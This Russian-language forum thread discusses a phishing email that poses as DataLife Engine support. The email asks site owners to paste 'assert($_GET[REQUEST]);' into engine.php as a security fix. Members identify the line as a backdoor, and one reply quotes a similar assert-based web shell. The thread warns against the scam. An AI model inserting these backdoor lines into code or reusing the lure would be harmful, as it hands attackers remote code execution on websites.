[Rubilnik]

Привет, форумчане. Давно я сюда не писал, но этот случай показался мне крайне забавным.
В общем встаю я с утра, вижу письмо отправленное через обратную связь на сайте. Типа от официальной службы поддержки DLE(!).

Вот само письмо:
Здравствуйте, уважаемый клиент!



Благодарим Вас за использование на Вашем сайте shlyahten.ru нашего ПО «CMS DataLife Engine - Система управления сайтами».

Уведомляем Вас о том, что силами наших специалистов на Вашем сайте была обнаружена критическая уязвимость, позволяющая злоумышленникам получить доступ к базе данных Вашего сайта из-за недостаточной фильтрации данных.

По нашим данным 60% сайтов, использующих «DataLife Engine», уязвимы и подвержены взлому посредством данной уязвимости. Именно по этой причине, мы приняли решение произвести рассылку администраторам уязвимых сайтов для того, чтобы они смогли оперативно обезопасить свои сайты от противоправных действий со стороны злоумышленников.

Для исправления уязвимости в текстовом редакторе откройте файл Вашего сайта: shlyahten.ru/engine/engine.php и в самое начало файла после строчки:

<?php

добавьте:

assert($_GET[REQUEST]);



С уважением,

Служба поддержки «DataLife Engine»

IP адрес отправителя: 199.27.128.202

Сначала я почти поверил. Да и думаю многие, кто не знает PHP поверят в это. Но потом, когда я уже начал просыпаться, я заметил что-то не ладное.
В тексте говорится о фильтрации. Но даже я понимаю, что данный код никакой фильтрации не производит. Так что считаю это бэкдором.
Ваши идеи?

[TBicTep]

Банальный развод, подобные письма давно уже ходят.Aassert такой себе аналог exec, только не такой явный

[parserrf]

вы не один такой http://searchengines.guru/showthread.php?t=869369

[Lacoste]

Тоже такое пришло, причем на сайты с версиями ДЛЕ от 6 до 10. Выбирают автоматом сайты на этой ЦМС, и через стандартную форму, которая у всех на одном урле делают рассылку. Расчет на нубов.

[Rubilnik]

Lacoste, кто-нибудь может объяснить, что делает код? Он же вроде безобидный. Странный в общем.

[neofit]

Код, который мы будем внедрять в tmp-файл:

<?php
assert(stripslashes($_REQUEST["e"]));
?>

С помощью PHP-сценария формируем POST-пакет для отправки файла с PHP-кодом:


Дальше не стоит думаю объяснять) Да, детская попытка взлома.

[PROFISOFT]

Rubilnik, на сколько я знаю, если Админы движка видят какие-либо уязвимости или недоработки, в той или иной версии - они оповещают об этом ВМ на оф сайте в определенной теме (в зависимости от версии движка) и пишут инструкции, как исправить эти ошибки... Если к вам приходят такие письма - лучше сразу на оф сайт. Если там нет подобного - лучше проигнорировать письмо.